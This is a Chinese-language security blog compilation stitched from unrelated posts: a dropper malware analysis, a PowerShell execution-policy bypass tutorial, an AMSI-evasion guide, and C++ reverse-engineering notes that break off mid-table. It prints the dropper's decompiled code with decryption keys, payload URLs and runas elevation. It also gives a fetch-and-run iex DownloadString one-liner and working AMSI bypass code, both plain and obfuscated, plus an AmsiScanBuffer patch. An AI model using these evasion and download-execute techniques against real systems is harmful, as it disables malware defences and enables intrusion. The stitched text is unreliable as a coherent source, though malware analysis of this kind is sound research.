DpEditor程序在运行后会自动提权

image-20220815113714919

设置策略ASLR

image-20220815103620364

信息搜集

读取剪贴板

image-20220815103758599

handler sample

starter样本为C:\Program Files (x86)\DB Browser for SQLite\Fabyshamyne.exe

handler样本会调用windows updater样本,也就是updater样本

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// Class4
// Token: 0x0600000C RID: 12 RVA: 0x00002874 File Offset: 0x00000A74
[STAThread]
private static void Main()
{
try
{
string string_ = "LK2zlxjoHgSvPDPzD/qbov81CGp3Bi70VrPYVKti99GC/u1I1h5UUXgPadFJq3Y7TASY0TYW93yZdrHvTUoCai5Ui2oS9f2dz8QRzaQiAXg=";
string string_2 = "FxA/rmRZZ6Y4L9w5VHSRiBcH8zbKDGf/aidAUz74ZE422DhHo95R/gCXtBy7gwKqKy5Hf/Wt8RK2fLMOEq5Natt1mf3GX1zVWHH1G4KsglU=";
Console.WriteLine(Class3.smethod_1(string_));
Console.WriteLine(Class3.smethod_1(string_2));
Class4.smethod_0();
string directoryName = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location);
Class5.smethod_0("starter", Assembly.GetExecutingAssembly().Location);
string text = Path.Combine(directoryName, "Windows__Update.exe");
text = Class5.smethod_0("setter", text);
if (!Class2.smethod_0(Class3.smethod_1(string_), text))
{
Class2.smethod_0(Class3.smethod_1(string_2), text);
}
Class1.smethod_0(text + ".config");
Class2.smethod_1(text, null);
}
catch (Exception)
{
}
}

编写解密函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace Application
{
class Program
{
static void decrypt(string enc)
{
enc.Replace(" ", "+");

RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.Padding = PaddingMode.Zeros;
rijndaelManaged.Mode = CipherMode.CBC;
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 256;
byte[] rgbKey = Convert.FromBase64String("qFHOogTyxI+U+0mWctzFngMWGgWUj5BB8bT2UlmnG5k=");
byte[] rgbIV = Convert.FromBase64String("v9WVEt44bKrmHGpayCh40DodYqxlcDTF9lGIduUh0Zw=");
ICryptoTransform transform = rijndaelManaged.CreateDecryptor(rgbKey, rgbIV);
byte[] array = Convert.FromBase64String(enc);
byte[] array2 = new byte[array.Length];
new CryptoStream(new MemoryStream(array), transform, CryptoStreamMode.Read).Read(array2, 0, array2.Length);
byte[] tt = new byte[array2.Length];
for (int i = 0; i < array2.Length; i++)
{
Console.Write(Convert.ToChar(array2[i]));
}
Console.WriteLine();

}

static string handler_decrypt(string string_0)
{
byte[] sourceArray = SHA256.Create().ComputeHash(Encoding.ASCII.GetBytes("b36LzRXR9X6Z"));
byte[] iv = new byte[]
{
1,
3,
0,
7,
6,
4,
4,
6,
5,
1,
2,
4,
3,
2,
0,
5
};
Aes aes = Aes.Create();
aes.Mode = CipherMode.CBC;
byte[] array = new byte[32];
Array.Copy(sourceArray, 0, array, 0, 32);
aes.Key = array;
aes.IV = iv;
MemoryStream memoryStream = new MemoryStream();
ICryptoTransform transform = aes.CreateDecryptor();
CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write);
string result = string.Empty;
try
{
byte[] array2 = Convert.FromBase64String(string_0);
cryptoStream.Write(array2, 0, array2.Length);
cryptoStream.FlushFinalBlock();
byte[] array3 = memoryStream.ToArray();
result = Encoding.ASCII.GetString(array3, 0, array3.Length);
}
finally
{
memoryStream.Close();
cryptoStream.Close();
}
return result;
}
static void Main(string[] args)
{
/* string string_0 = "MlvMhaZlrG9HII6YGgWP7fLHhxJFm7CsGEGYUPnVxaqbS8M0xulN/0dry88yk7Go/SYljnhYGmowpBM53eqhwULf7e6ejmujjiJ/PlSAMKKJemvpV5qPR+OFC2ocC4V2";
string string_1 = "MlvMhaZlrG9HII6YGgWP7fLHhxJFm7CsGEGYUPnVxapINYR+4YYSQXcK9aGKmGa19Tjeb054JIvz272ECLlxz8qq8ZkO5Xvo5ppqN3a/C7Kqr+ysYsk7AZJz8eVtEGLq";
string string_2 = "Xz7eEYZ56pbTApLdtuwVh/vYezWw9MsOm0DHpIfHljMLotvx58kngmMzek0V31v9gEQKx9TAi7EZRl/nRx2kxU24PS9x8J9Plugw7higuJWDa7HRkZLrFM4e8QqST9Pn";
string string_3 = "Xz7eEYZ56pbTApLdtuwVh/vYezWw9MsOm0DHpIfHljOACnaBf8S8JxP0eqMek5Tg9uh3iycT/umPhbpKqGQsHQ==";
//string_0.Replace(" ", "+");
Console.WriteLine("cors");
decrypt(string_0);
Console.WriteLine("reporters");

decrypt(string_1);
Console.WriteLine("setter");

decrypt(string_2);
Console.WriteLine("starter");

decrypt(string_3);
*/
string handler_enc_1 = "LK2zlxjoHgSvPDPzD/qbov81CGp3Bi70VrPYVKti99GC/u1I1h5UUXgPadFJq3Y7TASY0TYW93yZdrHvTUoCai5Ui2oS9f2dz8QRzaQiAXg=";
string handler_enc_2 = "FxA/rmRZZ6Y4L9w5VHSRiBcH8zbKDGf/aidAUz74ZE422DhHo95R/gCXtBy7gwKqKy5Hf/Wt8RK2fLMOEq5Natt1mf3GX1zVWHH1G4KsglU=";

string out_1 = handler_decrypt(handler_enc_1);
Console.WriteLine(out_1);
string out_2 = handler_decrypt(handler_enc_2);
Console.WriteLine(out_2);
}
}
}

image-20220815153825587

涉及到两个域名, 两个都挂了

1
2
https://uchiha.s3.pl-waw.scw.cloud/madara/rec-ggqbmb8yyq32mkm8.exe
https://senju.s3.pl-waw.scw.cloud/tobirama/rec-46s6vg7zcjfe8ug4.exe

然后class4.smethod_0函数没一秒访问一次google.com

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private static void smethod_0()
{
while (!Class4.smethod_1())
{
Thread.Sleep(1000);
}
}

// Token: 0x0600000E RID: 14 RVA: 0x0000292C File Offset: 0x00000B2C
private static bool smethod_1()
{
bool result;
try
{
Ping ping = new Ping();
string hostNameOrAddress = "google.com";
byte[] buffer = new byte[32];
PingOptions options = new PingOptions();
result = (ping.Send(hostNameOrAddress, 1000, buffer, options).Status == IPStatus.Success);
}
catch (Exception)
{
result = false;
}
return result;
}

然后去注册表里找starter键经过解密后得到starter的路径,也就是C:\Program Files (x86)\DB Browser for SQLite\Fabyshamyne.exe.然后以同样的方式寻找setter,也就是C:\Program Files (x86)\DB Browser for SQLite\Windows__Update.exe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
internal static string smethod_0(string string_2, string string_3)
{
string result;
try
{
RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Recovery", true);
if (registryKey != null)
{
string text = (string)registryKey.GetValue(string_2);
if (!string.IsNullOrEmpty(text))
{
text = Class5.smethod_2(text);
registryKey.Close();
if (File.Exists(text))
{
return text;
}
}
}
registryKey = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Recovery");
registryKey.SetValue(string_2, Class5.smethod_1(string_3));
result = string_3;
}
catch (Exception)
{
result = string_3;
}
return result;
}

得到路径后,会发起网络行为去访问之前得到的两个域名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
internal static bool smethod_0(string string_0, string string_1)
{
ServicePointManager.ServerCertificateValidationCallback = ((object <p0>, X509Certificate <p1>, X509Chain <p2>, SslPolicyErrors <p3>) => true);
bool result;
try
{
ServicePointManager.SecurityProtocol = (SecurityProtocolType)4032;
using (WebClient webClient = new WebClient())
{
webClient.Headers.Add("Content-Type", "application/octet-stream");
webClient.Headers.Add("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36;");
webClient.DownloadFile(string_0, string_1);
}
result = true;
...

再写入setters的config

The runtime uses legacy CAS policy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
internal static void smethod_0(string string_0)
{
string contents = string.Join(Environment.NewLine, new string[]
{
"<?xml version=\"1.0\" encoding=\"utf-8\" ?>",
"<configuration>",
" <startup useLegacyV2RuntimeActivationPolicy=\"true\">",
" <supportedRuntime version=\"v2.0.50727\"/>",
" <!-- ",
" <supportedRuntime version=\"v3.5\"/> \"The .NET Framework version 3.0 and 3.5 use version 2.0.50727 of the CLR.\"",
" -->",
" <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.0,Profile=Client\" />",
" <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.0\" />",
" <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.0.1,Profile=Client\" />",
" <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.0.1\" />",
" <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.0.2,Profile=Client\" />",
" <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.0.2\" />",
" <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.0.3,Profile=Client\" />",
" <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.0.3\" />",
" <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.5\" />",
" <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.5.1\" />",
" <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.5.2\" />",
" <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.6\" />",
" <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.6.1\" />",
" <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.6.2\" />",
" <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.7\" />",
" <supportedRuntime version=\"v4.0\" sku =\".NETFramework,Version=v4.7.1\" />",
" </startup>",
" <runtime>",
" <NetFx40_LegacySecurityPolicy enabled=\"true\"/>",
" </runtime>",
" <system.net>",
" <settings>",
" <httpWebRequest useUnsafeHeaderParsing = \"true\" />",
" </settings>",
" </system.net>",
"</configuration>"
});
File.WriteAllText(string_0, contents);
}

设置processInfo并启动进程windows__updater.exe(setter)

UseShellExecute = true

UseShellExecute = false

Verb = “runas”

  • 表示进程以管理员权限启动
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
internal static bool smethod_1(string string_0, string string_1)
{
ProcessStartInfo processStartInfo;
if (string.IsNullOrEmpty(string_1))
{
processStartInfo = new ProcessStartInfo(string_0);
}
else
{
processStartInfo = new ProcessStartInfo(string_0, string_1);
}
processStartInfo.UseShellExecute = true;
processStartInfo.Verb = "runas";
bool result;
try
{
if (Process.Start(processStartInfo) == null)
{
result = false;
}
else
...

starter sample

C:\Program Files (x86)\DB Browser for SQLite\Fabyshamyne.exe

setter sample

C:\Program Files (x86)\DB Browser for SQLite\Windows__Update.exe

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// Class12
// Token: 0x06000059 RID: 89 RVA: 0x00003CEC File Offset: 0x00001EEC
[STAThread]
private static void Main(string[] args)
{
try
{
Class12.smethod_0();
Class13.smethod_0(); //设置useUnsafeHeaderParsing反射
DateTime creationTime = File.GetCreationTime(Assembly.GetEntryAssembly().Location);
try
{
string[] array = Class5.smethod_0(); //获取HKEY_CURRENT_USER\SOFTWARE\Microsoft\Etsy
if (array == null || array.Length < 1)
{
throw new Exception("key mech mrigel raw");
}
Class7.smethod_7(array[0]);
Class7.smethod_5(array[5]);
Class7.smethod_3(array[2]);
Class7.smethod_1(array[1]);
Class7.object_0 = array[4];
Track_tLBUlXiz3LTPMOpd track_tLBUlXiz3LTPMOpd = new Track_tLBUlXiz3LTPMOpd(string.Concat(new string[]
{
"Recover",
Class7.smethod_2(),
"_",
Class7.smethod_6(),
"_",
Class7.smethod_0()
}), "0", Class7.smethod_4());
Class11.smethod_2();
bool flag;
do
{
flag = false;
string value = Class9.smethod_0(creationTime, (int)(DateTime.Now - creationTime).TotalDays, Class7.smethod_4(), Class7.smethod_6(), Class7.smethod_0());
if (!string.IsNullOrEmpty(value))
{
flag = Convert.ToBoolean(value);
}
Class6.smethod_0(flag, (int)(DateTime.Now - creationTime).TotalDays);
Thread.Sleep((int)TimeSpan.FromHours(1.0).TotalMilliseconds);
}
while (!flag);
track_tLBUlXiz3LTPMOpd.sendtrack("CheckTime", "succed");
}
catch (Exception)
{
}
}
catch (Exception)
{
}
}

获取key值并返回到array

ZiUe+wge1VAJ72v/pDJqhJiZEXHqRrfqwloqvO+GJXjcTH+kshpDQsoK+Q50NF4foeTa5fED4oRGjzZ3HaCX4Q==

image-20220815161524430

主代码逻辑到

1
2
3
4
5
6
7
8
9
10
11
12
13
bool flag;
do
{
flag = false;
string value = Class9.smethod_0(creationTime, (int)(DateTime.Now - creationTime).TotalDays, Class7.smethod_4(), Class7.smethod_6(), Class7.smethod_0());
if (!string.IsNullOrEmpty(value))
{
flag = Convert.ToBoolean(value);
}
Class6.smethod_0(flag, (int)(DateTime.Now - creationTime).TotalDays);
Thread.Sleep((int)TimeSpan.FromHours(1.0).TotalMilliseconds);
}
while (!flag);

Class9.smethod_0函数,post访问https://connectini.net/Series/za3ma_za3ma.php(存活)

image-20220815165026117

传入参数nchallahTe5dem=

powershell安全

什么是PowerShell执行策略?

PowerShell execution policy 是用来决定哪些类型的PowerShell脚本可以在系统中运行。默认情况下,它是“Restricted”(限制)的。然而,这个设置从来没有算是一种安全控制。相反,它会阻碍管理员操作。这就是为什么我们有这么多绕过它的方法。

为什么我们要绕过执行政策?

因为人们希望使用脚本实现自动化操作,powershell为什么受到管理员、渗透测试人员、黑客的青睐,原因如下:

  1. Windows原生支持
  2. 能够调用Windows API
  3. 能够运行命令而无需写入磁盘(可直接加载至内存,无文件落地)
  4. 能够避免被反病毒工具检测
  5. 大多数应用程序白名单解决方案已将其标记为“受信任”
  6. 一种用于编写许多开源Pentest工具包的媒介

如何查看执行策略

在能够使用所有完美功能的PowerShell之前,攻击者可以绕过“Restricted”(限制)execution policy。你可以通过PowerShell命令“executionpolicy“看看当前的配置。如果你第一次看它的设置可能设置为“Restricted”(限制),如下图所示:

Get-ExecutionPolicy获取策略

image-20221208115653172

Get-ExecutionPolicy -List | Format-Table -AutoSize

Set-ExecutionPolicy设置策略

1
Set-ExecutionPolicy UnRestricted

绕过执行策略

执行文件

type + 管道符

1
2
PS C:\Users\scr1pt\Desktop> TYPE .\msg.ps1 | PowerShell.exe -noprofile -
fuck you bypass

iex(New-Object Net.WebClient).DownloadString

1
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/nullbind/Powershellery/master/Brainstorming/runme.ps1')"

image-20221208121515209

-ExecutionPolicy Bypass

1
2
PS C:\Users\scr1pt\Desktop> PowerShell.exe -ExecutionPolicy Bypass -File .\msg.ps1
fuck you bypass

-ExecutionPolicy Unrestricted

这类似于bypass标志。但是,当使用该标志时,微软声明它加载所有配置文件并运行所有脚本。如果运行从Internet下载的无签名脚本,则在运行之前会提示您获得许可。这种技术不会导致配置更改或需要写入磁盘。

1
2
PS C:\Users\scr1pt\Desktop> PowerShell.exe -ExecutionPolicy UnRestricted -File .\msg.ps1
fuck you bypass

-ExecutionPolicy Un-signed

执行命令

powershell -command -c

1
2
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
Powershell -c "Write-Host 'My voice is my passport, verify me.'"

write-host

1
2
PS C:\Users\scr1pt\Desktop\PowerSploit-master\Privesc> Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -
My voice is my passport, verify me.

Get-Content

1
2
PS C:\Users\scr1pt\Desktop> Get-Content .\msg.ps1 | PowerShell.exe -noprofile -
fuck you bypass

powershell -Enc

1
2
3
4
5
6
7
$command = "Write-Host 'My voice is my passport, verify me.'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand $encodedCommand

PS C:\Users\scr1pt\Desktop> powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA
My voice is my passport, verify me.

Invoke-command -scriptblock

1
2
PS C:\Users\scr1pt\Desktop> invoke-command -scriptblock {echo "fuck you bypass"}
fuck you bypass

Get-Content

1
2
PS C:\Users\scr1pt\Desktop> Get-Content .\msg.ps1 | Invoke-Expression
fuck you bypass

策略失效

Disable ExecutionPolicy

这是我在https://www.nivot.org上看到的非常有创意的一个。下面的功能可以通过交互式PowerShell控制台或使用“命令”开关来执行。一旦函数被调用,它将用null替换出“AuthorizationManager”。因此,在会话的剩余时间内,执行策略基本上被设置为无限制。这种技术不会导致持久的配置更改或需要写入磁盘。但是,更改是否适用于会议期间。

1
2
function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))}
Disable-ExecutionPolicy .runme.ps1

image-20221208133327297

ExcutionPolicy for the CurrentUser

为当前用户设置策略,不需要管理员权限,可以直接执行脚本

1
Set-Executionpolicy -Scope CurrentUser bypass

image-20221208134524643

设置完成后会发现注册表中当前用户多了一项ExecutionPolicy

image-20221208135027645

Set-ExecutionPolicy Scope Process

正如我们在介绍中看到的,执行策略可以应用于许多级别。这包括您可以控制的过程。使用此技术,可以在会话期间将执行策略设置为无限制。此外,它不会导致配置更改,也不需要向磁盘写入数据。我最初是在r007break博客上发现这种技术的。

1
Set-ExecutionPolicy Bypass -Scope Process

image-20221208142534497

设置注册表

1
reg query HKCU\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell

image-20221208135151866

结构如下

image-20221208135027645

powershell免杀

AMSI绕过

Antimalware Scan Interface(AMSI)为反恶意软件扫描接口。

Windows 反恶意软件扫描接口 (AMSI) 是一种通用接口标准,允许您的应用程序和服务与机器上存在的任何反恶意软件产品集成。AMSI 为您的最终用户及其数据、应用程序和工作负载提供增强的恶意软件保护。AMSI 与反恶意软件供应商无关;它旨在支持当今可以集成到应用程序中的反恶意软件产品提供的最常见的恶意软件扫描和保护技术。它支持允许文件和内存或流扫描、内容源 URL/IP 信誉检查和其他技术的调用结构。AMSI 还支持会话的概念,以便反恶意软件供应商可以关联不同的扫描请求。例如,可以将恶意负载的不同片段关联起来做出更明智的决定,而仅通过孤立地查看这些片段就很难做出决定。

在Windows Server 2016和Win10上已经默认安装并启用。他的本体是一个DLL文件,存在于 c:windows\system32\amsi.dll。

干货 | 绕过AMSI实现免杀的研究和思路

它提供了通用的标准接口(COM接口、Win32 API)其中的COM接口,是为杀软供应商提供的,方便杀软厂商接入自身针对恶意软件的识别能力。有不少安全厂商已经接入了AMSI的接口。

官方架构图

干货 | 绕过AMSI实现免杀的研究和思路

目前AMSI功能已集成到Windows 10的这些组件中

  1. 用户帐户控制或 UAC(EXE、COM、MSI 或 ActiveX 安装的提升)
  2. PowerShell(脚本、交互使用和动态代码评估)
  3. Windows 脚本宿主(wscript.exe 和 cscript.exe)
  4. JavaScript 和 VBScript
  5. Office VBA 宏

既然本质上是一个dll,那么就可以看下他的导出函数。

image-20221208182359674

当执行一些敏感字符串时,会发现powershell拒绝执行并报毒。

image-20221210211140998

火绒剑查看powershell模块会发现加载了amsi.dll

image-20221208234826913

绕过方法

关闭System.Management.Automation.AmsiUtils

replace
1
2
3
4
5
6
7
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUti'+'ls')
$h="4456625220575263174452554847"
$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " "
$b =$a.GetField($s,'NonPublic,Static')
$b.SetValue($null,$true)

image-20221210211140998

dll劫持

再打开powershell进程时,会加载amsi进程,那么自然的就想到可以通过dll劫持,或者替换等方式来bypass。

  • 进程对应的应用程序所在目录
  • 系统目录(通过 GetSystemDirectory 获取)
  • 16位系统目录
  • Windows目录(通过 GetWindowsDirectory 获取)
  • 当前目录
  • PATH环境变量中的各个目录

powershell.exe的路径为C:\Windows\System32\WindowsPowerShell\v1.0,只需要在同目录下置放一个名为amsi.dll的模块。

但是并不是随便一个模块都行,由于已经开启了amsi,如果错误加载会引起powershell崩溃,那么我们也无法执行命令。这里就要导出本来amsi.dll有的导出函数。

导出函数如下

image-20221208182359674

降低powershell版本

将powershell版本降到2.0,就能够规避amsi,因为在低版本的powershell中还没有加入amsi。那么就需要知道目标机器的powershell版本。

1
$PSVersionTable

在 Windows 7 和 Windows 服务器 2008 R2 以上版本,PowerShell 2.0 集成在所有 Windows 版本中。

在普通用户权限下,可以通过如下命令经行检查:

image-20221209001528971

管理员权限可以使用如下命令:

image-20221209001551630

这里虚拟机是没有这个环境的,看了下本机有2.0版本,这里就换下本机试一下,是能够成功的执行的。

image-20221209001622084

混淆

拼接
1
2
"amsiutils"
"amsiuti"+"ls"

关闭windows defender

关闭Windows Defender 也可以使系统自带的AMSI检测无效化。

image-20221209112303334

利用反射将内存中AmsiScanBuffer方法的检测长度置为0

把AmsiScanBuffer函数前三个字节修改为如下,即可绕过

1
2
xor rax, rax
ret

AMSI检测调用过程为:

  1. AmsiInitialize

  2. AMSI API.AmsiOpenSession

  3. 打开sessionAmsiScanBuffer

    1
    2
    3
    4
    5
    6
    7
    8
    HRESULT AmsiScanBuffer(
    [in] HAMSICONTEXT amsiContext,
    [in] PVOID buffer,
    [in] ULONG length,
    [in] LPCWSTR contentName,
    [in, optional] HAMSISESSION amsiSession,
    [out] AMSI_RESULT *result
    );
  4. scans the user-input.AmsiCloseSession

  5. 关闭sessionAmsiUninitialize

  6. 删除AMSI API

脚本如下,但是会被windows defender检测

https://gist.githubusercontent.com/shantanu561993/6483e524dc225a188de04465c8512909/raw/db219421ea911b820e9a484754f03a26fbfb9c27/AMSI_bypass_Reflection.ps1

image-20221210213525413

hook AmsiScanBuffer

我们知道字符串是否敏感是由amsi.dll中的AmsiScanBuffer函数来进行判断的,而内存补丁是一种较为便捷的技术,我们可以对这个函数进行修补,使其丧失判断能力,这样我们就能自由执行任意powershell脚本,当然前提是脚本文件没有被杀软干掉。

AmsiScanBuffer最后一个参数也就是返回值为AMSI_RESULT

1
2
3
4
5
6
7
typedef enum AMSI_RESULT {
AMSI_RESULT_CLEAN,
AMSI_RESULT_NOT_DETECTED,
AMSI_RESULT_BLOCKED_BY_ADMIN_START,
AMSI_RESULT_BLOCKED_BY_ADMIN_END,
AMSI_RESULT_DETECTED
} ;

方法应该挺多的,可以注入一个dll到powershell这样去hook或者什么操作,也可以直接起一个powershell进程然后获取AmsiScanBuffer的函数地址,让他直接函数返回啊这些操作,这个方法的重点应该是免杀性。

image-20221210214704104

cs powersehll

1

第二层

创建一个ProcessStartInfo结构体,填入进程名、参数、窗口隐藏

1

第三层,base64 + gunzip

1

  1. VirtualAlloc
  2. CreateThread
  3. WaitForSingleObject

得到一段cs的shellcode

image-20221208174452626

http://www.ctfiot.com/7487.html

Long-to-see

好久没有发博客了。

还是发一些吧,也可以激励一下自己。

cppReverse

Reference:

https://f002.backblazeb2.com/file/sec-news-backup/files/writeup/www.cmlab.csie.ntu.edu.tw/__cathyp_eBooks_C___Reverse_20c___pdf/index.pdf

https://www.blackhat.com/presentations/bh-dc-07/Sabanal_Yason/Paper/bh-dc-07-Sabanal_Yason-WP.pdf

judge c++

As a natural way to start, the reverser must first determine if a specific target is indeed a compiled C++ binary and is using C++ constructs. Below are some pertinent indications that the binary being analyzed is a C++ binary and is using C++ constructs.

  1. Heavy use of ECX(this ptr),One of the first things that a reverser may see is the heavy use of ecx (which is used as the this pointer). One place the reverser may see it is that it is being assigned a value just before a function is about to be called:

image-20220520195013869

Another place is if a function is using ecx without first initializing it, which suggests that this is a possible class member function:

image-20220520195000763

calling convention

Calling Convention. Related to (1), Class member functions are called with the usual function parameters in the stack and with ecx pointing to the class’s object (i.e. this pointer.). Here is an example of a class instantxiation, in which the allocated class object (eax) will eventually be passed to ecx and then invocation of the constructor follows.

image-20220520195810536

此外,reverser要注意到间接函数调用,这些调用更可能是虚拟函数;当然,如果不首先了解实际类或在调试器下运行代码,很难跟踪这些调用的去向。考虑以下虚拟函数调用示例:

image-20220520200722178

在这种情况下,reverser必须首先知道ClassA的虚拟函数表(vftable)的位置,然后根据vftable中列出的函数列表确定函数的实际地址。

类实例结构

普通类

在我们深入之前我们应该熟悉类在内存中的结构布局

image-20220520214836110

我们需要把padding增加到最后一个成员变量以确保size为4字节的倍数。

虚函数

image-20220520215713706

here’s the class layout

image-20220520215739428

请注意,在布局的开头添加了指向虚拟函数表的指针。此表按声明顺序包含虚拟函数的地址。Ex2类的虚拟函数表将像这样。

image-20220520220019231

现在,如果一个类从另一个类继承呢?以下是当一个类从单个类(即单个继承)继承时会发生什么:

image-20220520220112250

And the layout,我们可以看到存在两个var1在这个内存中。image-20220520220551662

如您所见,派生类的布局简单地附加到基类的布局中。在多次继承的情况下,情况如下:

image-20220520221648717

如您所见,如果每个基类的实例数据将嵌入派生类的实例中,并且每个包含虚拟函数的基类将有自己的vftable。请注意,fist base class与当前对象共享vftable。当前对象的虚拟函数将附加到第一个基类虚拟函数列表的末尾

类识别

我们上面已经讨论了如何判断一个程序是不是用 C++写的,讨论了类的构造函数以及内存中类的实例的组织形式,这一节我们来讨论 C++的类在可执行文件 中的使用情况。我们先来讨论如何确定内存中哪些部分是类(或者称为对象)下 一节再来讨论如何确定类之间的关系以及类中的成员。

  1. 识别构造函数和析构函数

    1. 全局对象。全局对象顾名思义就是那些被声明为全局变量的对象。这些对象的内存空间在编译时就已经被分配好了的, 它们位于可执行文件的数据段中。这些对象的构造函数是在这个程序启动以后,main调用之前被调用执行的,而它们的析构函数是在程序退出(exit)时被调用的。

      一般来说,如果我们发现一个函数调用时,传入的是this指针(一般是使用ecx寄存器)是指向一个全局变量的话,我们基本可以确定,这是一个全局变量,我们可以利用交叉引用找到该全局变量的构造函数和析构函数,如果该段代码位于entrypoint和main函数之间,那么很有可能这个为构造函数

      main函数

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      _main proc near

      argc= dword ptr 4
      argv= dword ptr 8
      envp= dword ptr 0Ch

      mov dword_403378, 3
      xor eax, eax
      retn
      _main endp

      通过交叉引用可以找到两处,也就是构造函数和析构函数

      image-20220521141409121

      跟进构造函数,_atexit注册了程序终止的函数为析构函数

      image-20220521141914948

      运行到返回后发现程序位于entrypoint和main函数之间,属于编译器生成的代码,通过call _initterm函数调用了构造函数

      image-20220521143307579

    2. 局部对象。这些对象的作用域起始于该对象被声明的地方,结束于声明该对象的模块退出之时(比如函数结尾或者分支结束的地方,下面例子里就是在一个 if 语句块 结束的地方调用析构函数的)。局部对象在内存中是位于栈(stack)里的。 它们的构造函数在该对象声明的地方被调用,而在对象离开其作用域时调用 对象的析构函数。
      局部对象的构造函数还是比较容易识别的,如果你发现一个函数调用, 传递过去的 this 指针竟然是指向了栈中一个未被初始化过的变量的话,你基 本上可以确定这个函数是一个对象的构造函数,同时也就发现了一个对象。 析构函数一般则是与构造函数位于同一个模块(也就是声明该对象的模块) 的最后一个使用指向该对象的 this 指针的函数。

      image-20220521150912632

    3. 动态分配的对象,这种对象是通过new操作符动态创建的对象。实际上,new操作符会变成两个符号调用:一个new()函数的调用再接着一个构造函数的调用。new()函数是用来在堆中分配空间的(对象的大小通过参数传给new函数),然后把心分配的地址存在EAX寄存器返回出来。同样delete也会变成析构函数和free()函数。

      image-20220521152155003

  2. 通过RTTI进行多态类识别(Run-Time-Type Information)

如果C++在编译的时候启用了RTTI功能,那么我们又会多一种识别类的方法。特别是对多态类(包含虚函数的类)。RTTI是C++中提供的一种在运行时确定对象类型的机制,在C++中一般时候typeid和dynamic_cast这两个操作符来实现这一机制。这两个操作符在实现时需要获得相关类的类名,类的层次等相关信息,在实际使用VC的时候,如果你用了以上两种操作符号但没有启用RTTI,编译器将会给你一个警告。在默认情况下MSVC6.0关闭了RTTI功能。而MSVC2005中默认开启了RTTI。

  1. RTTICompleteObjectLocator

    这个结构体包含了两个指针,一个指向实际的类信息,另一个指向类的继承关系。

    Offset Type Name Description
    0x00 DW signature Always 0 ?
    0x04 DW offset Offset of Vtable within the class
    0x08 DW cdoffset ?
    0x0c DW pTypeDescription Class Information
    0x10 DW pClassHierarchyDescription Class Hierarchy Information

    那么怎么找到这个结构体呢?我们只要找到虚函数表的上一个DWORD指向的即为RTTICompleteObjectLocator。

    image-20220521161903162

    这是RTTICompleteObjectLocator结构

    image-20220521162047050

  2. TypeDescriptor

    位于RTTICompleteObjectLocator结构的第四个DWORD是一个指向本类的TypeDescriptor结构体的指针,TypeDescriptor这个结构体中记录了这个类的类名、

    Offset Type Name Description
